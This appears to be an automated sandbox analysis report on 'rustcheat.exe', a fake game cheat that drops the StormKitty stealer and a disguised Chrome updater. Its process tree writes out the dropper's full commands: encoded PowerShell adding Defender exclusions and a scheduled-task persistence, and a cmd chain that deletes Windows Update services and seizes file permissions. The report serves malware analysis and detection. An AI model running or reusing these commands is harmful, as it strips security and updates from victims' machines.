Analysis

  • max time kernel
    12s
  • max time network
    19s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-08-2023 12:40

General

  • Target

    rustcheat.exe

  • Size

    4.4MB

  • MD5

    50c839c62f01c2f2be0ff9eacdca3c84

  • SHA1

    e747243b3d708857799e3d172412d5c8af99b02e

  • SHA256

    d369a5d2ef50b7e9eea2e61b45294270c0a27cad70edb47cf61ba76f1810fad7

  • SHA512

    1af308ce12056c988cdb5f50603e30357bfa7cc8a0c1d35b1a72e522fdcce23ddbd86c40b6a030a3ddafb1d01518edb511076e3b86e4c2af555d792824dec091

  • SSDEEP

    98304:AV5/ubyrtiqzCy/5Tinwrnkw1/Qbhy0l/H9kx5TKMglVRA:Azub4l9/5JYKYbJ59kx5OMaVRA

Malware Config

Signatures

  • Modifies security service 2 TTPs 5 IoCs
  • StormKitty

    StormKitty is an open source info stealer written in C#.

  • StormKitty payload 6 IoCs
  • Downloads MZ/PE file
  • Possible privilege escalation attempt 2 IoCs
  • Stops running service(s) 3 TTPs
  • Executes dropped EXE 2 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
  • VMProtect packed file 1 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\rustcheat.exe
    "C:\Users\Admin\AppData\Local\Temp\rustcheat.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1936
    • C:\Users\Admin\AppData\Local\Temp\testy.exe
      "C:\Users\Admin\AppData\Local\Temp\testy.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2576
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAYgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHEAYgB1AGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAagBlAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAeQBiAG8AcgAjAD4A"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4668
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4448
        • C:\Windows\system32\sc.exe
          sc stop UsoSvc
          4⤵
          • Launches sc.exe
          PID:4420
        • C:\Windows\system32\sc.exe
          sc stop WaaSMedicSvc
          4⤵
          • Launches sc.exe
          PID:1200
        • C:\Windows\system32\sc.exe
          sc stop wuauserv
          4⤵
          • Launches sc.exe
          PID:1480
        • C:\Windows\system32\sc.exe
          sc stop bits
          4⤵
          • Launches sc.exe
          PID:4884
        • C:\Windows\system32\sc.exe
          sc stop dosvc
          4⤵
          • Launches sc.exe
          PID:1148
        • C:\Windows\system32\reg.exe
          reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
          4⤵
          • Modifies registry key
          PID:4384
        • C:\Windows\system32\reg.exe
          reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
          4⤵
          • Modifies registry key
          PID:216
        • C:\Windows\system32\reg.exe
          reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
          4⤵
          • Modifies security service
          • Modifies registry key
          PID:4436
        • C:\Windows\system32\reg.exe
          reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
          4⤵
          • Modifies registry key
          PID:4540
        • C:\Windows\system32\reg.exe
          reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
          4⤵
          • Modifies registry key
          PID:4964
        • C:\Windows\system32\takeown.exe
          takeown /f C:\Windows\System32\WaaSMedicSvc.dll
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1244
        • C:\Windows\system32\icacls.exe
          icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3920
        • C:\Windows\system32\reg.exe
          reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
          4⤵
          • Modifies registry key
          PID:408
        • C:\Windows\system32\reg.exe
          reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
          4⤵
          • Modifies registry key
          PID:4932
        • C:\Windows\system32\reg.exe
          reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
          4⤵
          • Modifies registry key
          PID:4316
        • C:\Windows\system32\reg.exe
          reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
          4⤵
          • Modifies registry key
          PID:4220
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
          4⤵
            PID:4120
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
            4⤵
              PID:3052
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
              4⤵
                PID:692
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
                4⤵
                  PID:4000
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
                  4⤵
                    PID:5096
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
                    4⤵
                      PID:5076
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
                      4⤵
                        PID:1276
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3416
                      • C:\Windows\system32\powercfg.exe
                        powercfg /x -hibernate-timeout-ac 0
                        4⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2044
                      • C:\Windows\system32\powercfg.exe
                        powercfg /x -hibernate-timeout-dc 0
                        4⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4676
                      • C:\Windows\system32\powercfg.exe
                        powercfg /x -standby-timeout-ac 0
                        4⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4944
                      • C:\Windows\system32\powercfg.exe
                        powercfg /x -standby-timeout-dc 0
                        4⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3324
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHkAcQAjAD4AIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBBAGMAdABpAG8AbgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBhAGYAZQAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcATwBuACkAIAA8ACMAaABzAGkAdAAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAG8AeQBwAHAAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwAgACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAG8AcwBpACMAPgA7ACAAQwBvAHAAeQAtAEkAdABlAG0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAdABlAHMAdAB5AC4AZQB4AGUAJwAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXAB1AHAAZABhAHQAZQByAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAAPAAjAGwAZwBmACMAPgA7ACAAUwB0AGEAcgB0AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgADwAIwBkAHEAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwA7AA=="
                      3⤵
                        PID:4744
                    • C:\Users\Admin\AppData\Local\Temp\StormKittyBuild.exe
                      "C:\Users\Admin\AppData\Local\Temp\StormKittyBuild.exe"
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1496
                  • C:\Users\Admin\AppData\Local\Temp\Google\Chrome\updater.exe
                    C:\Users\Admin\AppData\Local\Temp\Google\Chrome\updater.exe
                    1⤵
                      PID:2296

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                      Filesize

                      2KB

                      MD5

                      d85ba6ff808d9e5444a4b369f5bc2730

                      SHA1

                      31aa9d96590fff6981b315e0b391b575e4c0804a

                      SHA256

                      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                      SHA512

                      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                      Filesize

                      944B

                      MD5

                      d28a889fd956d5cb3accfbaf1143eb6f

                      SHA1

                      157ba54b365341f8ff06707d996b3635da8446f7

                      SHA256

                      21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

                      SHA512

                      0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

                    • C:\Users\Admin\AppData\Local\Temp\AnonFileApi.dll

                      Filesize

                      293KB

                      MD5

                      7a2d5deab61f043394a510f4e2c0866f

                      SHA1

                      ca16110c9cf6522cd7bea32895fd0f697442849b

                      SHA256

                      75db945388f62f2de3d3eaae911f49495f289244e2fec9b25455c2d686989f69

                      SHA512

                      b66b0bf227762348a5ede3c2578d5bc089c222f632a705241bcc63d56620bef238c67ca2bd400ba7874b2bc168e279673b0e105b73282bc69aa21a7fd34bafe0

                    • C:\Users\Admin\AppData\Local\Temp\DotNetZip.dll

                      Filesize

                      448KB

                      MD5

                      6d1c62ec1c2ef722f49b2d8dd4a4df16

                      SHA1

                      1bb08a979b7987bc7736a8cfa4779383cb0ecfa6

                      SHA256

                      00da1597d92235d3f84da979e2fa5dbf049bafb52c33bd6fc8ee7b29570c124c

                      SHA512

                      c0dce8eaa52eb6c319d4be2eec4622bb3380c65b659cfb77ff51a4ada7d3e591e791ee823dad67b5556ffac5c060ff45d09dd1cc21baaf70ba89806647cb3bd2

                    • C:\Users\Admin\AppData\Local\Temp\Google\Chrome\updater.exe

                      Filesize

                      640KB

                      MD5

                      5802cd85f72d4d1afcf72d5daeb12e0a

                      SHA1

                      61f7f3cb6dcf20edfb29f56cb6fabe529cc4a59e

                      SHA256

                      91d8fd9f83b068436c733b72e2c128092ce55a56ff936ef6ae042b332ba0edf6

                      SHA512

                      fce715c7aca23d2787f6e38d507ace7c49293b0f73dc8525839eb9736d99b82881a9e4904dae2117c577917d1bc161150119b767e26870521c997378f55c3505

                    • C:\Users\Admin\AppData\Local\Temp\Google\Chrome\updater.exe

                      Filesize

                      640KB

                      MD5

                      5802cd85f72d4d1afcf72d5daeb12e0a

                      SHA1

                      61f7f3cb6dcf20edfb29f56cb6fabe529cc4a59e

                      SHA256

                      91d8fd9f83b068436c733b72e2c128092ce55a56ff936ef6ae042b332ba0edf6

                      SHA512

                      fce715c7aca23d2787f6e38d507ace7c49293b0f73dc8525839eb9736d99b82881a9e4904dae2117c577917d1bc161150119b767e26870521c997378f55c3505

                    • C:\Users\Admin\AppData\Local\Temp\StormKittyBuild.exe

                      Filesize

                      310KB

                      MD5

                      7b8fcb29905e045b7f8c1dc9bc305698

                      SHA1

                      1f8f2b29447f871b7b76f6bfb299d1f8c56f2fc8

                      SHA256

                      70eca85476c7ddb1f416bdc2678bafb5998d80f5d8da27a4339971b6f0693173

                      SHA512

                      d4f4c491bf4ea187f4a41c4b091935dde4c65300494c8d9dd3a242a03e92191b6789f17ffdaf06dbfb967988c2ba2671687b7a14c23682fc3972165df726a0b2

                    • C:\Users\Admin\AppData\Local\Temp\StormKittyBuild.exe

                      Filesize

                      310KB

                      MD5

                      7b8fcb29905e045b7f8c1dc9bc305698

                      SHA1

                      1f8f2b29447f871b7b76f6bfb299d1f8c56f2fc8

                      SHA256

                      70eca85476c7ddb1f416bdc2678bafb5998d80f5d8da27a4339971b6f0693173

                      SHA512

                      d4f4c491bf4ea187f4a41c4b091935dde4c65300494c8d9dd3a242a03e92191b6789f17ffdaf06dbfb967988c2ba2671687b7a14c23682fc3972165df726a0b2

                    • C:\Users\Admin\AppData\Local\Temp\StormKittyBuild.exe

                      Filesize

                      310KB

                      MD5

                      7b8fcb29905e045b7f8c1dc9bc305698

                      SHA1

                      1f8f2b29447f871b7b76f6bfb299d1f8c56f2fc8

                      SHA256

                      70eca85476c7ddb1f416bdc2678bafb5998d80f5d8da27a4339971b6f0693173

                      SHA512

                      d4f4c491bf4ea187f4a41c4b091935dde4c65300494c8d9dd3a242a03e92191b6789f17ffdaf06dbfb967988c2ba2671687b7a14c23682fc3972165df726a0b2

                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nnunhuth.zn0.ps1

                      Filesize

                      60B

                      MD5

                      d17fe0a3f47be24a6453e9ef58c94641

                      SHA1

                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                      SHA256

                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                      SHA512

                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                    • C:\Users\Admin\AppData\Local\Temp\testy.exe

                      Filesize

                      4.1MB

                      MD5

                      50bfdd2eb713e8b5ef0899848159542e

                      SHA1

                      df80dcd51ec4af47f286f778e8d7f19dedc4d3b8

                      SHA256

                      1388cca1ca24c66583a6c1114c534745ed0fec7cb498b4129b6864f774a72d61

                      SHA512

                      d5b074e04fb52f010baed42c8f8bad60fbf394843fa5805d553903b1722c517dd97352f2d722605e4e14b5bff24415594dc2f7754ce2d7be8af844f9e4bd48fc

                    • C:\Users\Admin\AppData\Local\Temp\testy.exe

                      Filesize

                      4.1MB

                      MD5

                      50bfdd2eb713e8b5ef0899848159542e

                      SHA1

                      df80dcd51ec4af47f286f778e8d7f19dedc4d3b8

                      SHA256

                      1388cca1ca24c66583a6c1114c534745ed0fec7cb498b4129b6864f774a72d61

                      SHA512

                      d5b074e04fb52f010baed42c8f8bad60fbf394843fa5805d553903b1722c517dd97352f2d722605e4e14b5bff24415594dc2f7754ce2d7be8af844f9e4bd48fc

                    • C:\Users\Admin\AppData\Local\Temp\testy.exe

                      Filesize

                      4.1MB

                      MD5

                      50bfdd2eb713e8b5ef0899848159542e

                      SHA1

                      df80dcd51ec4af47f286f778e8d7f19dedc4d3b8

                      SHA256

                      1388cca1ca24c66583a6c1114c534745ed0fec7cb498b4129b6864f774a72d61

                      SHA512

                      d5b074e04fb52f010baed42c8f8bad60fbf394843fa5805d553903b1722c517dd97352f2d722605e4e14b5bff24415594dc2f7754ce2d7be8af844f9e4bd48fc

                    • memory/1496-157-0x0000000000230000-0x0000000000280000-memory.dmp

                      Filesize

                      320KB

                    • memory/1496-162-0x000000001BDC0000-0x000000001BDD0000-memory.dmp

                      Filesize

                      64KB

                    • memory/1496-159-0x00007FFF27F00000-0x00007FFF289C1000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/1496-180-0x00007FFF27F00000-0x00007FFF289C1000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/1496-194-0x000000001BDC0000-0x000000001BDD0000-memory.dmp

                      Filesize

                      64KB

                    • memory/2296-216-0x00007FFF27F00000-0x00007FFF289C1000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/2576-161-0x000000001CE60000-0x000000001CE70000-memory.dmp

                      Filesize

                      64KB

                    • memory/2576-160-0x00007FFF27F00000-0x00007FFF289C1000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/2576-181-0x00007FFF27F00000-0x00007FFF289C1000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/2576-158-0x0000000000D50000-0x000000000116E000-memory.dmp

                      Filesize

                      4.1MB

                    • memory/2576-192-0x000000001CE60000-0x000000001CE70000-memory.dmp

                      Filesize

                      64KB

                    • memory/2576-193-0x000000001CD90000-0x000000001CDA2000-memory.dmp

                      Filesize

                      72KB

                    • memory/4668-179-0x00007FFF27F00000-0x00007FFF289C1000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/4668-176-0x0000013F955B0000-0x0000013F955C0000-memory.dmp

                      Filesize

                      64KB

                    • memory/4668-174-0x0000013F955B0000-0x0000013F955C0000-memory.dmp

                      Filesize

                      64KB

                    • memory/4668-175-0x0000013F955B0000-0x0000013F955C0000-memory.dmp

                      Filesize

                      64KB

                    • memory/4668-173-0x00007FFF27F00000-0x00007FFF289C1000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/4668-168-0x0000013F95060000-0x0000013F95082000-memory.dmp

                      Filesize

                      136KB

                    • memory/4744-205-0x00007FFF27F00000-0x00007FFF289C1000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/4744-206-0x000001831BD60000-0x000001831BD70000-memory.dmp

                      Filesize

                      64KB

                    • memory/4744-207-0x000001831BD60000-0x000001831BD70000-memory.dmp

                      Filesize

                      64KB

                    • memory/4744-209-0x000001831BD60000-0x000001831BD70000-memory.dmp

                      Filesize

                      64KB

                    • memory/4744-212-0x00007FFF27F00000-0x00007FFF289C1000-memory.dmp

                      Filesize

                      10.8MB